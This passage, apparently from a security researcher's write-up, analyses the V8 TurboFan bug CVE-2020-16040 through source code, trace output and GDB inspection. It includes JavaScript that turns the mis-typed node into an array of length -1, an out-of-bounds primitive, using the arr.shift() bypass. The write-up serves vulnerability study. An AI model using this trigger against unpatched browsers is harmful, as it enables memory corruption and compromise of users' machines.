Further; in the same code block theVisitSpeculativeIntegerAdditiveOp, the following is seen:
void VisitSpeculativeIntegerAdditiveOp(Node* node, Truncation truncation, SimplifiedLowering* lowering) {
	//...
	// Try to use type feedback.
	NumberOperationHint hint = NumberOperationHintOf(node->op());
	DCHECK(hint == NumberOperationHint::kSignedSmall ||
			hint == NumberOperationHint::kSigned32);
	//...
	return;
}

We see that the SpeculativeSafeIntegerAdd node’s NumberOperationHint is stored into hint, and a DCHECK ensures that the hint is either kSignedSmall or kSigned32. Meaning, to be able to reach this code it is required that we need either SignedSmall or Signed32 feedback.

By removing the line in the regression associated with gathering this type feedback, we can see the following graph output differences:

Without gathering feedback of SignedSmall:

With gathering feedback of SignedSmall:

As a result, the type feedback during the warmup run is required to be SignedSmall in order to insert the SpeculativeSafeIntegerAdd node as opposed to the SpeculativeNumberAdd node. If this feedback alters, the SpeculativeSafeIntegerAdd node will be replaced with the SpeculativeNumberAdd node, which does not call the vulnerable VisitSpeculativeIntegerAdditiveOp function during the Simplified Lowering phase.

Continuing to look at the VisitSpeculativeIntegerAdditiveOp function, we see that VisitBinop is called:

template <Phase T>
  void VisitSpeculativeIntegerAdditiveOp(Node* node, Truncation truncation, SimplifiedLowering* lowering) {
    //...
    } else {
      // If the output's truncation is identify-zeros, we can pass it
      // along. Moreover, if the operation is addition and we know the
      // right-hand side is not minus zero, we do not have to distinguish
      // between 0 and -0.
      IdentifyZeros left_identify_zeros = truncation.identify_zeros();
      if (node->opcode() == IrOpcode::kSpeculativeSafeIntegerAdd &&
          !right_feedback_type.Maybe(Type::MinusZero())) {
        left_identify_zeros = kIdentifyZeros;
      }
      UseInfo left_use = CheckedUseInfoAsWord32FromHint(hint, FeedbackSource(), left_identify_zeros);
      // For CheckedInt32Add and CheckedInt32Sub, we don't need to do
      // a minus zero check for the right hand side, since we already
      // know that the left hand side is a proper Signed32 value,
      // potentially guarded by a check.
      UseInfo right_use = CheckedUseInfoAsWord32FromHint(hint, FeedbackSource(), kIdentifyZeros);
      VisitBinop<T>(node, left_use, right_use, MachineRepresentation::kWord32,
                    Type::Signed32());
    }
    //...
  }

The VisitBinop function:

template <Phase T>
void VisitBinop(Node* node, UseInfo left_use, UseInfo right_use, MachineRepresentation output, Type restriction_type = Type::Any()) {
	DCHECK_EQ(2, node->op()->ValueInputCount());
	ProcessInput<T>(node, 0, left_use);
	ProcessInput<T>(node, 1, right_use);
	for (int i = 2; i < node->InputCount(); i++) {
		EnqueueInput<T>(node, i);
	}
	SetOutput<T>(node, output, restriction_type);
}

The VisitBinop function has multiple purposes, however, of most importance is that this function calls the SetOutput function to set the restriction_type of the SpeculativeSafeIntegerAdd node (updates the field in the nodeinfo) to that of Type::Signed32(), and its output representation to kWord32.

[ THE RETYPE PHASE: RunRetypePhase(); ]

As seen from its definition within src/compiler/simplified-lowering.cc

//...
  // 2.) RETYPE: Propagate types from type feedback forwards.
RETYPE,
//...

The RunRetypePhase(); function iterates the traversal_nodes_ vector in a non-reverse order (from start, finishing at the End node). Output of --trace-representation on the Retype Phase (focusing on SpeculativeSafeIntegerAdd node) is as follows:

--{Retype phase}--
#...
#39:Phi[kRepTagged](#32:Phi, #38:NumberConstant, #36:Merge)  [Static type: (NaN | Range(-1, 2147483647))]
 visit #39: Phi
  ==> output kRepFloat64
 visit #42: NumberConstant
  ==> output kRepTaggedSigned
#43:SpeculativeSafeIntegerAdd[SignedSmall](#39:Phi, #42:NumberConstant, #22:SpeculativeNumberEqual, #36:Merge)  [Static type: Range(0, 2147483648), Feedback type: Range(0, 2147483647)]
 visit #43: SpeculativeSafeIntegerAdd
  ==> output kRepWord32
#45:SpeculativeNumberBitwiseOr[SignedSmall](#43:SpeculativeSafeIntegerAdd, #44:NumberConstant, #43:SpeculativeSafeIntegerAdd, #36:Merge)  [Static type: Range(-2147483648, 2147483647), Feedback type: Range(0, 2147483647)]
 visit #45: SpeculativeNumberBitwiseOr
  ==> output kRepWord32
 visit #55: NumberLessThan
  ==> output kRepBit
 visit #47: Return
  ==> output kRepTagged
 visit #48: End
  ==> output kRepTagged
#...

The first two inputs of the SpeculativeSafeIntegerAdd node, being #39 Phi and #42 NumberConstant nodes have been retyped, with their feedback type being updated in the Retype Phase. The output representation of the Phi node is set to kRepFloat64 due to the widening of the static type to NaN, and the NumberConstant node is set to kRepTaggedSigned. Within src/codegen/machine-type.h, we can see that kRepTaggedSigned represents an uncompressed Smi:

enum class MachineRepresentation : uint8_t {
kNone,
kBit,
kWord8,
kWord16,
kWord32,
kWord64,
kTaggedSigned, // (uncompressed) Smi
kTaggedPointer, // (uncompressed) HeapObject
kTagged, // (uncompressed) Object (Smi or HeapObject)
kCompressedPointer, // (compressed) HeapObject
kCompressed, // (compressed) Object (Smi or HeapObject)
// FP representations must be last, and in order of increasing size.
kFloat32,
kFloat64,
kSimd128,
kFirstFPRepresentation = kFloat32,
kLastRepresentation = kSimd128
};

Additionally, of observation within the the trace representation output, we can see inconsistencies between the feedback and static types assigned to the Phi and NumberConstant nodes.

The RunRetypePhase(); function is defined below:

// Forward propagation of types from type feedback to a fixpoint.
void RunRetypePhase() {
  TRACE("--{Retype phase}--\n");
  ResetNodeInfoState();
  DCHECK(revisit_queue_.empty());
  for (auto it = traversal_nodes_.cbegin(); it != traversal_nodes_.cend();
    ++it) {
    Node * node = * it;
    if (!RetypeNode(node)) continue;
    auto revisit_it = might_need_revisit_.find(node);
    if (revisit_it == might_need_revisit_.end()) continue;
    for (Node *
      const user: revisit_it -> second) {
      PushNodeToRevisitIfVisited(user);
    }
    // Process the revisit queue.
    while (!revisit_queue_.empty()) {
      Node * revisit_node = revisit_queue_.front();
      revisit_queue_.pop();
      if (!RetypeNode(revisit_node)) continue;
      // Here we need to check all uses since we can't easily know which
      // nodes will need to be revisited due to having an input which was
      // a revisited node.
      for (Node *
        const user: revisit_node -> uses()) {
        PushNodeToRevisitIfVisited(user);
        //...
      }
}

The RunRetypePhase(); function contains a callback to the RetypeNode function before processing conditions across the revisit_queue which will instruct the RunRetypePhase(); function to revisit (if required) until the revisit_queue is empty. Looking at the RetypeNode function:

bool RetypeNode(Node* node) {
  NodeInfo* info = GetInfo(node);
	info->set_visited();
	bool updated = UpdateFeedbackType(node);
	TRACE(" visit #%d: %s\n", node->id(), node->op()->mnemonic());
	VisitNode<RETYPE>(node, info->truncation(), nullptr);
	TRACE(" ==> output %s\n", MachineReprToString(info->representation()));
	return updated;
}

The RetypeNode function marks a node as visited and contains a callback to UpdateFeedbackType(), of which, updates node feedback types:

  bool UpdateFeedbackType(Node * node) {
    if (node -> op() -> ValueOutputCount() == 0) return false;
    if (node -> opcode() != IrOpcode::kPhi) {
      for (int i = 0; i < node -> op() -> ValueInputCount(); i++) {
        if (GetInfo(node -> InputAt(i)) -> feedback_type().IsInvalid()) {
          return false;
        }
      }
    }
    NodeInfo * info = GetInfo(node);
    Type type = info -> feedback_type();
    Type new_type = NodeProperties::GetType(node);
    // We preload these values here to avoid increasing the binary size too
    // much, which happens if we inline the calls into the macros below.
    Type input0_type;
    if (node -> InputCount() > 0) input0_type = FeedbackTypeOf(node -> InputAt(0));
    Type input1_type;
    if (node -> InputCount() > 1) input1_type = FeedbackTypeOf(node -> InputAt(1));
    switch (node -> opcode()) {
      //...
      #define DECLARE_CASE(Name)\
    case IrOpcode::k # #Name: {
      \
      new_type = Type::Intersect(op_typer_.Name(input0_type, input1_type), \
        info -> restriction_type(), graph_zone());\
      break;\
    }
    SIMPLIFIED_SPECULATIVE_NUMBER_BINOP_LIST(DECLARE_CASE)
    SIMPLIFIED_SPECULATIVE_BIGINT_BINOP_LIST(DECLARE_CASE)
    #undef DECLARE_CASE
    //...
    }
    // We need to guarantee that the feedback type is a subtype of the upper
    // bound. Naively that should hold, but weakening can actually produce
    // a bigger type if we are unlucky with ordering of phi typing. To be
    // really sure, just intersect the upper bound with the feedback type.
    new_type = Type::Intersect(GetUpperBound(node), new_type, graph_zone());
    if (!type.IsInvalid() && new_type.Is(type)) return false;
    GetInfo(node) -> set_feedback_type(new_type);
    if (FLAG_trace_representation) {
      PrintNodeFeedbackType(node);
    }
    return true;
  }

Of importance is from the beginning of the two Type vars, being type and new_type. type is the current feedback type of the node, while new_type is the current static type of the node. The feedback types of both inputs, being the Phi and NumberConstant nodes (as seen in the trace representation earlier above) are stored in input0_type and input1_type. Where input0_type (Phi node) is NaN | Range(-1, 2147483647) and input1_type (NumberConstant node ) is Range(1, 1).:

Following the above, the UpdateFeedbackType function contains a large switch/case statement using macros, which its purpose is "to avoid increasing the binary size". The most relevant statement is associated with the one that handles SIMPLIFIED_SPECULATIVE_NUMBER_BINOP_LIST being;

new_type = Type::Intersect(op_typer_.Name(input0_type, input1_type), info->restriction_type(), graph_zone());

Of which, translates to:

  new_type =
    Type::Intersect(OperationTyper::SpeculativeSafeIntegerAdd(input0_type, input1_type),
      info -> restriction_type(), graph_zone());

As:

  //...
  OperationTyper op_typer_; // helper for the feedback typer
  //...

Where op_typer_.Name (being; OperationTyper.Name), where Name, being the DECLARE_CASE of SIMPLIFIED_SPECULATIVE_NUMBER_BINOP_LIST, of which is defined below (src/compiler/opcodes.h):
  #define SIMPLIFIED_SPECULATIVE_NUMBER_BINOP_LIST(V) \
	V(SpeculativeNumberAdd) \
	V(SpeculativeNumberSubtract) \
	V(SpeculativeNumberMultiply) \
	V(SpeculativeNumberDivide) \
	V(SpeculativeNumberModulus) \
	V(SpeculativeNumberBitwiseAnd) \
	V(SpeculativeNumberBitwiseOr) \
	V(SpeculativeNumberBitwiseXor) \
	V(SpeculativeNumberShiftLeft) \
	V(SpeculativeNumberShiftRight) \
	V(SpeculativeNumberShiftRightLogical) \
	V(SpeculativeSafeIntegerAdd) \
	V(SpeculativeSafeIntegerSubtract)

In the above macro translation code block, new_type is being set to a new intersection type. Which is the intersection between the current node's restriction type, Type::Signed32(), and that of the type returned from the OperationTyper::SpeculativeSafeIntegerAdd() call:

  Type OperationTyper::SpeculativeSafeIntegerAdd(Type lhs, Type rhs) {
    Type result = SpeculativeNumberAdd(lhs, rhs);
    // If we have a Smi or Int32 feedback, the representation selection will
    // either truncate or it will check the inputs (i.e., deopt if not int32).
    // In either case the result will be in the safe integer range, so we
    // can bake in the type here. This needs to be in sync with
    // SimplifiedLowering::VisitSpeculativeAdditiveOp.
    return Type::Intersect(result, cache_->kSafeIntegerOrMinusZero, zone());
    }    

The above returns Range(0,2147483648). Therefore, the intersection of this range to that of the Type::Signed32() restriction type that was set in the Propagation Phase, being Range(-2147483648,2147483647) would result in new feedback type of Range(0,2147483647). This is problematic, as the range of input0_type, being the Phi node was Range(-1, 2147483647), with 2147483647 being INT_MAX of this range the addition of 1 will equate to INT_MAX + 1 which becomes 2147483647+1, being 2147483648, which in turn wraps to INT_MIN, being -2147483648, due to the restriction type having been set to Type::Signed32().

In saying that however, the above statement is not altogether entirely accurate. For instance, in d8 we can execute:

d8> (0x7fffffff + 1) | 0
-2147483648

This demonstrates that this overflow behaviour is not necessarily strictly related to the typing of operations. Rather the issue is that we have achieved a mis-typing of nodes despite the value wrapping/overflowing. This is the root cause right here, which allows us to leverage a typer hardening bypass to achieve our out-of-bounds primitives (we will get to this later).

Revisiting the patch diff, we can see that the changes made, specifically that of the RepresentationSelector class in simplified-lowering.cc, ensures that the typing system handles overflows and wrapping conditions adequately. The important modification here, in this context, is the introduction of a new restriction type in respect of Word32 truncations:

Type const restriction = truncation.IsUsedAsWord32() ? Type::Any() : Type::Signed32();

The new restriction type (defined within the patch) is used conditionally, depending on the truncation context, ensuring that the typing system accounts for these conditions more accurately, thus mitigating this bug (CVE-2020-16040).

[ THE LOWERING PHASE: RunLowerPhase(); ]

As seen from the its definition within src/compiler/simplified-lowering.cc

  //...
  // 3.) LOWER: perform lowering for all {Simplified} nodes by replacing some
  //     operators for some nodes, expanding some nodes to multiple nodes, or
  //     removing some (redundant) nodes.
  //     During this phase, use the {RepresentationChanger} to insert
  //     representation changes between uses that demand a particular
  //     representation and nodes that produce a different representation.
  LOWER
};

The RunLowerPhase(); function iterates through _traversal_nodes from the beginning and concludes at the End node. The trace representation output is illustrated below:

      --{Lower phase}--
    #...
    visit #39: Phi
      change: #39:Phi(@1 #38:NumberConstant) from kRepTaggedSigned to kRepFloat64:no-truncation (but identify zeros)
     visit #42: NumberConstant
    defer replacement #42:NumberConstant with #66:Int64Constant
     visit #43: SpeculativeSafeIntegerAdd
      change: #43:SpeculativeSafeIntegerAdd(@0 #39:Phi) from kRepFloat64 to kRepWord32:no-truncation (but identify zeros)
      change: #43:SpeculativeSafeIntegerAdd(@1 #42:NumberConstant) from kRepTaggedSigned to kRepWord32:no-truncation (but identify zeros)
     visit #45: SpeculativeNumberBitwiseOr
      change: #45:SpeculativeNumberBitwiseOr(@1 #44:NumberConstant) from kRepTaggedSigned to kRepWord32:truncate-to-word32
     visit #55: NumberLessThan
      change: #55:NumberLessThan(@1 #44:NumberConstant) from kRepTaggedSigned to kRepWord32:truncate-to-word32
     visit #47: Return
      change: #47:Return(@0 #44:NumberConstant) from kRepTaggedSigned to kRepWord32:truncate-to-word32
      change: #47:Return(@1 #55:Uint32LessThan) from kRepBit to kRepTagged:no-truncation (but distinguish zeros)
     visit #48: End
  

In addition to the above, looking at the turbolizer graph we can see that the SpeculativeSafeIntegerAdd node within the Escape Analysis phase becomes an Int32Add node within the Simplified Lowering phase, and that the NumberLessThan node within the Escape Analysis phase becomes a Uint32LessThanBoolean node within the Simplified Lowering phase.

The SpeculativeNumberBitwiseOr node within the Escape Analysis phase becomes a Word32OrRange(-2147483648, 2147483648) node within the Simplified Lowering phase, where this Word32 truncation lowers into NumberLessthanBoolean node within the Escape Analysis phase which lowers into a Uint32LessThanBoolean node within the Simplified Lowering phase.

The above two paragraphs confirm the speculation that was made earlier during the analysis of the Propagation phase.

Looking at the RunLowerPhase(); function:

      // Lowering and change insertion phase.
    void RunLowerPhase(SimplifiedLowering * lowering) {
      TRACE("--{Lower phase}--\n");
      for (auto it = traversal_nodes_.cbegin(); it != traversal_nodes_.cend();
        ++it) {
        Node * node = * it;
        NodeInfo * info = GetInfo(node);
        TRACE(" visit #%d: %s\n", node -> id(), node -> op() -> mnemonic());
        // Reuse {VisitNode()} so the representation rules are in one place.
        SourcePositionTable::Scope scope(
          source_positions_, source_positions_ -> GetSourcePosition(node));
        NodeOriginTable::Scope origin_scope(node_origins_, "simplified lowering",
          node);
        VisitNode<LOWER>(node, info -> truncation(), lowering);
      }
      // Perform the final replacements.
      for (NodeVector::iterator i = replacements_.begin(); i != replacements_.end(); ++i) {
        Node * node = * i;
        Node * replacement = * (++i);
        node -> ReplaceUses(replacement);
        node -> Kill();
        // We also need to replace the node in the rest of the vector.
        for (NodeVector::iterator j = i + 1; j != replacements_.end(); ++j) {
          ++j;
          if ( * j == node) * j = replacement;
        }
      }
    }
  

The above RunLowerPhase(); calls VisitNode<LOWER> on all nodes, which lowers the node to a more specific node (via DeferReplacement) based on the returned truncation and output representations that were calculated from the previous sub-phases above.

    template <Phase T>
  void VisitNode(Node* node, Truncation truncation,
				SimplifiedLowering* lowering) {
	//...
	case IrOpcode::kNumberLessThan:
	case IrOpcode::kNumberLessThanOrEqual: {
		Type const lhs_type = TypeOf(node->InputAt(0));
		Type const rhs_type = TypeOf(node->InputAt(1));
		// Regular number comparisons in JavaScript generally identify zeros,
		// so we always pass kIdentifyZeros for the inputs, and in addition
		// we can truncate -0 to 0 for otherwise Unsigned32 or Signed32 inputs.
		if (lhs_type.Is(Type::Unsigned32OrMinusZero()) &&
			rhs_type.Is(Type::Unsigned32OrMinusZero())) {
		// => unsigned Int32Cmp
		VisitBinop<T>(node, UseInfo::TruncatingWord32(),
						MachineRepresentation::kBit);
		if (lower<T>()) NodeProperties::ChangeOp(node, Uint32Op(node));
		} else if (lhs_type.Is(Type::Signed32OrMinusZero()) &&
					rhs_type.Is(Type::Signed32OrMinusZero())) {
			// => signed Int32Cmp
			VisitBinop<T>(node, UseInfo::TruncatingWord32(),
							MachineRepresentation::kBit);
			if (lower<T>()) NodeProperties::ChangeOp(node, Int32Op(node));
		} else {
			// => Float64Cmp
			VisitBinop<T>(node, UseInfo::TruncatingFloat64(kIdentifyZeros),
							MachineRepresentation::kBit);
			if (lower<T>()) NodeProperties::ChangeOp(node, Float64Op(node));
		}
	return;
	//...
}
  

In the above code block, lhs_type will be the feedback type of the SpeculativeNumberBitwiseOr node, which is Range(0, 2147483647), while rhs_type is Range(0, 0). Since both of these types fit in an unsigned 32-bit range (being; Range(0, 4294967295)), the first conditional if branch to VisitBinop will be taken (similar to how it was in the Propagation Phase). During the Lowering Phase, if (lower<T>()) NodeProperties::ChangeOp(node, Uint32Op(node)); will return true, and the current Int32 node will be changed to Uint32. Since the value of z in the regression is returned as 0x80000000. Again, this wraps around to a signed 32-bit INT_MIN value of -2147483648, of which, is outside of this unsigned 32-bit range, resulting in the unchecked overflow condition.

[ EXPLORING CanOverflowSigned32(); ]

Before moving on, during the above Simplified Lowering phase analysis, additional observation was made while reviewing VisitSpeculativeIntegerAdditiveOp, it is of interest to note the following:

  template <Phase T>
  void VisitSpeculativeIntegerAdditiveOp(Node * node, Truncation truncation,
    SimplifiedLowering * lowering) {
    Type left_upper = GetUpperBound(node -> InputAt(0));
    Type right_upper = GetUpperBound(node -> InputAt(1));
    if (left_upper.Is(type_cache_ -> kAdditiveSafeIntegerOrMinusZero) &&
      right_upper.Is(type_cache_ -> kAdditiveSafeIntegerOrMinusZero)) {
      //...
      return;
    }
    //...
    if (lower <T> ()) {
      if (truncation.IsUsedAsWord32() ||
        !CanOverflowSigned32(node -> op(), left_feedback_type,
          right_feedback_type, type_cache_,
          graph_zone())) {
        ChangeToPureOp(node, Int32Op(node));
      } else {
        ChangeToInt32OverflowOp(node);
      }
    }
    return;
  }

Followed by:

bool CanOverflowSigned32(const Operator* op, Type left, Type right, Zone* type_zone) {
  left = Type::Intersect(left, Type::Signed32(), type_zone);
  right = Type::Intersect(right, Type::Signed32(), type_zone);
  if (left.IsNone() || right.IsNone()) return false;
  switch (op->opcode()) {
    case IrOpcode::kSpeculativeSafeIntegerAdd:
      return (left.Max() + right.Max() > kMaxInt) ||
             (left.Min() + right.Min() < kMinInt);
    case IrOpcode::kSpeculativeSafeIntegerSubtract:
      return (left.Max() - right.Min() > kMaxInt) ||
             (left.Min() - right.Max() < kMinInt);
    default:
      UNREACHABLE();
  }
  return true;
}

Of interest here is the CanOverflowSigned32(); function. Let's set some breakpoints and analyse these values before and after the intersect:

NOTE as the breakpoint was set on lines 196 and 197. Various functionality within /src/compiler/simplified-lowering.cc had not yet been executed. Regardless, it is interesting to look at this function.

cd ~/Desktop/v8/src/compiler/
gdb -q ../../out.gn/x64.debug/d8

load regression within GDB:

  gef➤ set args --allow-natives-syntax regress.js
  

set breakpoints:

  gef➤  break simplified-lowering.cc:196
Breakpoint 1 at 0x7f5aaa5a76ad: file simplified-lowering.cc, line 196.

gef➤  break simplified-lowering.cc:197
Breakpoint 2 at 0x7f5aaa5a76e1: file simplified-lowering.cc, line 197.

gef➤ r
  

Before intersect:

  gef➤  print left
$1 = {
  payload_ = 0xffffffff
}

gef➤  print right
$2 = {
  payload_ = 0x559072eaa328
}
    
gef➤  print right.Min()
$3 = 1

gef➤  print right.Max()
$4 = 1

gef➤  c

  

After intersect:

  gef➤  print left
  $5 = {
    payload_ = 0x44b
  }
  gef➤  print right
  $6 = {
    payload_ = 0x5649e89a0328
  }
  
  gef➤  print right.Min()
  $7 = 1
  gef➤  print right.Max()
  $8 = 1
  
  gef➤  print left.Min()
  $9 = -2147483648
  gef➤  print left.Max()
  $10 = 2147483647
  
  gef➤  print kMinInt
  $11 = 0x80000000
  gef➤  print kMaxInt
  $12 = 0x7fffffff    

After the intersect, the CanOverflowSigned32 function will check either the opcode is kSpeculativeSafeIntegerAdd, or kSpeculativeSafeIntegerSubtract. This very function is to check if there's an overflow condition, or not. If either of these return true, the JIT compiler (TurboFan) will know that an overflow condition exists.

After the intersect we can see that the Typed::Signed32() restriction type has a range of Range(-2147483648, 2147483647).

Looking at the returned values within:

bool CanOverflowSigned32(const Operator* op, Type left, Type right, Zone* type_zone) {
//...
    case IrOpcode::kSpeculativeSafeIntegerAdd:
      return (left.Max() + right.Max() > kMaxInt) ||
             (left.Min() + right.Min() < kMinInt);
    case IrOpcode::kSpeculativeSafeIntegerSubtract:
      return (left.Max() - right.Min() > kMaxInt) ||
             (left.Min() - right.Max() < kMinInt);
    default:
      UNREACHABLE();
  }
  return true;
}      

kSpeculativeSafeIntegerAdd:

case IrOpcode::kSpeculativeSafeIntegerAdd:
  return (left.Max() + right.Max() > kMaxInt) ||
         (left.Min() + right.Min() < kMinInt);

Checking if kSpeculativeSafeIntegerAdd is greater than kMaxInt or is less than kMinInt:

  case IrOpcode::kSpeculativeSafeIntegerAdd:
  return (2147483647 + 1 > 0x7fffffff) ||
           (-2147483648 + 1 < 0x80000000);
  

being;

  case IrOpcode::kSpeculativeSafeIntegerAdd:
  return (2147483647 + 1 > 2147483647) ||
         (-2147483648 + 1 < -2147483648); //0x80000000 wraps Signed32 INT_MIN
  

being;

  case IrOpcode::kSpeculativeSafeIntegerAdd:
  return (2147483647 > 2147483647) ||
         (-2147483648 < -2147483647);
  

2147483647 is not greater than 2147483647, returning the boolean result of false, however, -2147483648 is less than -2147483647, returning the boolean result of true. In saying that, due to the OR operator, the overall boolean result of the above operands is true, meaning that the CanOverflowSigned32 function has detected an overflow condition on the kSpeculativeSafeIntegerAdd opcode at this point in execution.

Let's do the same as the above, but in respect to kSpeculativeSafeIntegerSubtract:

  case IrOpcode::kSpeculativeSafeIntegerSubtract:
	return (left.Max() - right.Min() > kMaxInt) ||
		   (left.Min() - right.Max() < kMinInt);    

being:

  case IrOpcode::kSpeculativeSafeIntegerSubtract:
	return (2147483647 - 1 > 0x7fffffff) ||
		   (-2147483648 - 1 < 0x80000000); //wraps to INT_MIN signed 32-bit      

being:

  case IrOpcode::kSpeculativeSafeIntegerSubtract:
	return (2147483647 - 1 > 2147483647) ||
		   (-2147483648 - 1 < -2147483648); 

Here 2147483646 is not greater than 2147483647, however, -2147483649 is less than -2147483648. Resulting in the boolean result of true. This results in the CanOverflowSigned32 function detecting an overflow condition against the Type::Signed32 restriction type.

Here the op of the node is changed to a Int32OverflowOp, instead of Int32Op:

      template <Phase T>
    void VisitSpeculativeIntegerAdditiveOp(Node * node, Truncation truncation,
      SimplifiedLowering * lowering) {
      // [...]
      if (lower <T> ()) {
        if (truncation.IsUsedAsWord32() ||
          !CanOverflowSigned32(node -> op(), left_feedback_type,
            right_feedback_type, type_cache_,
            graph_zone())) {
          ChangeToPureOp(node, Int32Op(node));
        } else {
          ChangeToInt32OverflowOp(node);
        }
      }
      return;
    }   

  

Initially, before the analysis of the above Simplified Lowering phase, I had an assumption that the CanOverflowSigned32 function would returns false due to variations in returned ranges and intersect values. However, after analysis of the above Simplified Lowering phase, it is evident that this CanOverflowSigned32 check is skipped entirely after the propagation of a Word32 truncation, resulting in the Int32 node lowering into a Uint32 node (as previously deduced).

[ ANSWERING OUR OPEN ENDED QUESTIONS ]

After analysing the vulnerability and how the regression proof-of-concept interacts with the Simplified Lowering phase, we can conclude the following answers to the remaining open-ended questions devised during the initial [ UNDERSTANDING THE REGRESSION ] section of this article:

[ QUESTION 2 ]
Why does this static type of y need to be widened? What is the purpose of the condition if (a == NaN) y = NaN; and how is this implemented?

[ ANSWER ] The purpose of widening the static type of y to NaN is needed to skip an if conditional branch. If this widening condition is not present the execution flow would not enter the alternative execution flow needed reach the vulnerable code.

[ QUESTION 3 ]
During the warmup run, being the first call to foo; What is the purpose of making the type feedback of y SignedSmall? How is this then collected?

[ ANSWER ] The type feedback during the warmup run is required to be SignedSmall in order to insert the SpeculativeSafeIntegerAdd node as opposed to the SpeculativeNumberAdd node. If this feedback alters, the SpeculativeSafeIntegerAdd node will be replaced with the SpeculativeNumberAdd node, which does not call the vulnerable VisitSpeculativeIntegerAdditiveOp function during the Simplified Lowering phase.

[ EXPLOITABILITY ]

In later versions of V8, particularly from version 8.0 onwards, there was an implementation of pointer compression for the V8 heap introduced. This implementation is a clever method in memory reduction, of which saves an average of 40% in memory. In saying that, compared to older versions of V8, pointer compression makes it a bit more challenging in regards to heap exploitation. Though it is still achievable. This reference provides a good summary and insight in pertinence to V8's pointer compression, alongside the official V8.dev documentation, and the Chromium team's blog post which was published upon releasing version 8.0 of V8. Their design decisions are documented here.

To briefly summarise; pointer compression reduces the memory overhead of storing pointers in the V8 heap. In V8, pointers are stored as 64-bit values. However, because the upper 32 bits of every pointer are the same (since they all point to objects within the V8 heap), storing these bits with every pointer is wasteful. To address this, V8 stores the upper 32 bits of the V8 heap's memory space (known as the isolate root) in a register called the root register (r13 register). Pointers in the V8 heap are then stored as 32-bit values, only storing the lower 32 bits of their actual address. When these pointers need to be accessed, the isolate root stored in the root register (r13 register) is added to the compressed address, allowing it to be dereferenced. This reduces the memory overhead of storing pointers in the V8 heap.

Though of interest, this is something that isn't relevant to the current bug as these changes appear recent in 2022. However definitely something of interest to research upon in the future. ABSL/STL hardened modes appear to be relevant to a portion of 2020 and onwards but also something I don't think is needed to read up on at this time. It is easy to get side tracked with V8 due to how broad it is, definitely something I need to look at in higher verbosity in the future.

Before moving on, it's important to take note of the commit 7bb6dc0e06fa158df508bc8997f0fce4e33512a5 where TurboFan introduced aborting bounds checks as part of chrome's hardening of typer bugs:

      commit 7bb6dc0e06fa158df508bc8997f0fce4e33512a5
    Author: Jaroslav Sevcik <[email protected]>
    Date:   Fri Feb 8 16:26:18 2019 +0100
    
        [turbofan] Introduce aborting bounds checks.
    
        Instead of eliminating bounds checks based on types, we introduce
        an aborting bounds check that crashes rather than deopts.
    
        Bug: v8:8806
        Change-Id: Icbd9c4554b6ad20fe4135b8622590093679dac3f
        Reviewed-on: https://chromium-review.googlesource.com/c/1460461
        Commit-Queue: Jaroslav Sevcik <[email protected]>
        Reviewed-by: Tobias Tebbi <[email protected]>
        Cr-Commit-Position: refs/heads/master@{#59467}
  

I won't dive into the details here, though I strongly recommend reading this article written by Jeremy Fetiveau to get a further understanding.

If you wanted to, you could probably cheat a little by reverting prior to the above commit. However, I didn't want to do this as I wished to understand the ArrayPrototypePop/ArrayPrototypeShift exploitation technique. I believe this exploitation technique has now been mitigated via the d4aafa4022b718596b3deadcc3cdcb9209896154 commit:

          [turbofan] Harden ArrayPrototypePop and ArrayPrototypeShift

      An exploitation technique that abuses 'pop' and 'shift' to create a JS
      array with a negative length was publicly disclosed some time ago.
      
      Add extra checks to break the technique.
      
      Bug: chromium:1198696
      Change-Id: Ie008e9ae60bbdc3b25ca3a986d3cdc5e3cc00431
      Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/2823707
      Reviewed-by: Georg Neis <[email protected]>
      Commit-Queue: Sergei Glazunov <[email protected]>
      Cr-Commit-Position: refs/heads/master@{#73973}
    

Nevertheless, this technique was still valid at the time of CVE-2020-16040, and I thought it would be more interesting than reverting.

[ LEVERAGING THE BUG WITH A TYPER HARDENING BYPASS TO ATTAIN OUT-OF-BOUNDS ]

Turbofan does several optimisation passes, and many optimisation phases can be exploited via type confusion.

      function foo(a) {
      var y = 0x7fffffff;       //included in the regression
      if (a == NaN) y = NaN;    //included in the regression
      if (a) y = -1;            //included in the regression
      let z = (y + 1) | 0;      //included in the regression
      z = (z == 0x80000000);    //returns boolean, should be false but got true
      if (a) z = -1;            //gather type feedback, SignedSmall
      let l = Math.sign(z);     //discussed below
      l = l < 0 ? 0 : l;        //discussed below
      // real value: 1, optimizer: Range(-1, 0)
      let arr = new Array(l);   //discussed below
      arr.shift();              //discussed below
      // arr.length = -1, lead to oob
      return arr;
    }

  

As the regression was already analysed previously, we will ignore the lines associated with the //included in the regression comments. As there is no need to readdress these. However, we will analyse the remaining.

Here TurboFan interprets l is a + number, but it is actually a - number, this satisfies the usage conditions of the arr.shift(); trick.

Calling Math.sign();, with foo(false);, the function returns 1. With foo(true);, the function returns -1. In this case let l = Math.sign(z); will infer the value of variable l to be Range(-1, 0) in the typer stage, but its real value is Range(0, 1). This is visible in --trace-turbo.

l = l < 0 ? 0 : l;    

The above is a conditional ternary operator, of which is the only JavaScript operator that takes three operands. It is essentially the simplified operator of if/else conditional clauses. For example, the above ternary operator is no different to:

  if (l = l < 0) {
    0
  } else {
    l;
  }      

if l is equal to l being less than 0, return 0 otherwise return the value of l, in this case (-1). With foo(false); this returns 1, with foo(true); this returns 0.

With the type of l being inferred as Range(-1, 0) (as previously mentioned above);

let arr = new Array(l); creates a new array called arr, with the length calculated from the conditional ternary operator above. Based on the return values above, with foo(false); the length of arr is set to 1, however, again due to the above, with foo(true);, the length of arr is set to 0.

This very aspect, particularly that of;

  let l = Math.sign(z);   
  l = l < 0 ? 0 : l; 

Results in an arr.length(); that satisfies the CheckBounds here . This is what facilitates the use of arr.shift(); to attain an arr.length of -1.

[ TFBytecodeGraphBuilder ]

This stage converts bytecode to graph:

#96 JSLoadNamed being the shift, #82 JSLoadGlobal being arr, #43 SpeculativeSafeIntegerAdd being SignedSmall. #96 JSLoadNamed contains a control edge that enables the #97 JSCall node branch. That is, arr.shift will be reduced into these nodes in the TFInlining stage, of which, is defined as inline function expansion.

[ TFInlining ]

NOTE that there is no JSCreateLiteralArrayArray node as a literal array, in this context being an array we intend to corrupt via OOB, has not yet been defined. Here we will focus on the StoreField[+12] node as this node re-assigns the length field of the arr array.

We can focus on the following:

#124 LoadField[+12] contains a control edge from #87 JSCreateArray. This #124 LoadField[+12] node contains a #149 NumberSubtract node, to which subtracts 1 from #124 LoadField[+12] before the control edge to the #150 StoreField[+12] node.

